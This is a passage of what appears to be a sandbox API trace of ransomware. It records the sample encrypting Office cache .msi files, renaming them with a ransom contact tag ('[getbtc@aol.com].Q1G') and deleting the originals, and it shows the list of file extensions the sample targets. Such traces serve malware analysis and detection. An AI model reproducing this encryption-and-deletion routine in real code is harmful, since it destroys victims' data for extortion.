lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.581] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0043.581] lstrlenW (lpString="Proof.msi") returned 9 [0043.581] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.582] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=885760) returned 1 [0043.582] CloseHandle (hObject=0x214) returned 1 [0043.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0043.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.582] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.582] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.584] GetLastError () returned 0x0 [0043.584] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0043.599] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0043.614] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.614] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.614] SetEndOfFile (hFile=0x200) returned 1 [0043.615] CloseHandle (hObject=0x200) returned 1 [0043.879] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.880] SetEndOfFile (hFile=0x214) returned 1 [0043.921] CloseHandle (hObject=0x214) returned 1 [0043.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0043.922] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0043.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.922] lstrlenW (lpString=".doc") returned 4 [0043.922] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.922] lstrlenW (lpString=".docx") returned 5 [0043.922] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.922] lstrlenW (lpString=".pdf") returned 4 [0043.922] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.922] lstrlenW (lpString=".xls") returned 4 [0043.922] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.922] lstrlenW (lpString=".xlsx") returned 5 [0043.922] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.922] lstrlenW (lpString=".ppt") returned 4 [0043.922] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.922] lstrlenW (lpString=".zip") returned 4 [0043.922] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.922] lstrlenW (lpString=".rar") returned 4 [0043.922] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.922] lstrlenW (lpString=".bz2") returned 4 [0043.922] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.922] lstrlenW (lpString=".7z") returned 3 [0043.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString=".dbf") returned 4 [0043.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString=".1cd") returned 4 [0043.923] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString=".jpg") returned 4 [0043.923] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString=".doc") returned 4 [0043.923] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.923] lstrlenW (lpString=".docx") returned 5 [0043.923] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.923] lstrlenW (lpString=".pdf") returned 4 [0043.923] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.923] lstrlenW (lpString=".xls") returned 4 [0043.923] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.923] lstrlenW (lpString=".xlsx") returned 5 [0043.923] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.923] lstrlenW (lpString=".ppt") returned 4 [0043.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.923] lstrlenW (lpString=".zip") returned 4 [0043.923] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.923] lstrlenW (lpString=".rar") returned 4 [0043.923] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.923] lstrlenW (lpString=".bz2") returned 4 [0043.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.923] lstrlenW (lpString=".7z") returned 3 [0043.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.924] lstrlenW (lpString=".dbf") returned 4 [0043.924] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.924] lstrlenW (lpString=".1cd") returned 4 [0043.924] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0043.924] lstrlenW (lpString=".jpg") returned 4 [0043.924] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.924] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0043.924] lstrlenW (lpString="Proofing.msi") returned 12 [0043.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.924] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=868864) returned 1 [0043.924] CloseHandle (hObject=0x214) returned 1 [0043.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0043.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.925] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.925] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.925] GetLastError () returned 0x0 [0043.925] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0043.941] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0044.157] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.157] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.158] SetEndOfFile (hFile=0x200) returned 1 [0044.158] CloseHandle (hObject=0x200) returned 1 [0044.168] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.168] SetEndOfFile (hFile=0x214) returned 1 [0044.176] CloseHandle (hObject=0x214) returned 1 [0044.176] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0044.177] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0044.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.177] lstrlenW (lpString=".doc") returned 4 [0044.177] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.177] lstrlenW (lpString=".docx") returned 5 [0044.177] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0044.177] lstrlenW (lpString=".pdf") returned 4 [0044.177] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.177] lstrlenW (lpString=".xls") returned 4 [0044.177] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.177] lstrlenW (lpString=".xlsx") returned 5 [0044.177] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0044.177] lstrlenW (lpString=".ppt") returned 4 [0044.177] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.177] lstrlenW (lpString=".zip") returned 4 [0044.177] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.177] lstrlenW (lpString=".rar") returned 4 [0044.178] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.178] lstrlenW (lpString=".bz2") returned 4 [0044.178] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.178] lstrlenW (lpString=".7z") returned 3 [0044.178] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.178] lstrlenW (lpString=".dbf") returned 4 [0044.178] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.178] lstrlenW (lpString=".1cd") returned 4 [0044.178] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.178] lstrlenW (lpString=".jpg") returned 4 [0044.178] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.178] lstrlenW (lpString=".doc") returned 4 [0044.178] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.178] lstrlenW (lpString=".docx") returned 5 [0044.178] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0044.178] lstrlenW (lpString=".pdf") returned 4 [0044.178] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.179] lstrlenW (lpString=".xls") returned 4 [0044.179] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.179] lstrlenW (lpString=".xlsx") returned 5 [0044.179] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0044.179] lstrlenW (lpString=".ppt") returned 4 [0044.179] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.179] lstrlenW (lpString=".zip") returned 4 [0044.179] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.179] lstrlenW (lpString=".rar") returned 4 [0044.179] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.179] lstrlenW (lpString=".bz2") returned 4 [0044.179] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.179] lstrlenW (lpString=".7z") returned 3 [0044.179] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.179] lstrlenW (lpString=".dbf") returned 4 [0044.179] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.179] lstrlenW (lpString=".1cd") returned 4 [0044.179] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0044.179] lstrlenW (lpString=".jpg") returned 4 [0044.179] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.179] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0044.179] lstrlenW (lpString="Office32MUI.msi") returned 15 [0044.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.180] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=873984) returned 1 [0044.180] CloseHandle (hObject=0x214) returned 1 [0044.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0044.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.180] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.181] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.181] GetLastError () returned 0x0 [0044.181] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0044.460] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0044.863] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.863] WriteFile (in: hFile=0x200, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0044.863] SetEndOfFile (hFile=0x200) returned 1 [0044.863] CloseHandle (hObject=0x200) returned 1 [0044.917] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.917] SetEndOfFile (hFile=0x214) returned 1 [0044.924] CloseHandle (hObject=0x214) returned 1 [0044.924] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0044.924] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0044.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.924] lstrlenW (lpString=".doc") returned 4 [0044.924] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.924] lstrlenW (lpString=".docx") returned 5 [0044.924] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.924] lstrlenW (lpString=".pdf") returned 4 [0044.924] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.924] lstrlenW (lpString=".xls") returned 4 [0044.924] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.924] lstrlenW (lpString=".xlsx") returned 5 [0044.924] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.924] lstrlenW (lpString=".ppt") returned 4 [0044.924] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.924] lstrlenW (lpString=".zip") returned 4 [0044.925] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".rar") returned 4 [0044.925] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".bz2") returned 4 [0044.925] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.925] lstrlenW (lpString=".7z") returned 3 [0044.925] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString=".dbf") returned 4 [0044.925] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString=".1cd") returned 4 [0044.925] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString=".jpg") returned 4 [0044.925] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString=".doc") returned 4 [0044.925] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.925] lstrlenW (lpString=".docx") returned 5 [0044.925] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.925] lstrlenW (lpString=".pdf") returned 4 [0044.925] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".xls") returned 4 [0044.925] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".xlsx") returned 5 [0044.925] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.925] lstrlenW (lpString=".ppt") returned 4 [0044.925] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.925] lstrlenW (lpString=".zip") returned 4 [0044.925] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".rar") returned 4 [0044.925] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.925] lstrlenW (lpString=".bz2") returned 4 [0044.926] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.926] lstrlenW (lpString=".7z") returned 3 [0044.926] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.926] lstrlenW (lpString=".dbf") returned 4 [0044.926] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.926] lstrlenW (lpString="C:\\MSOCache\\All 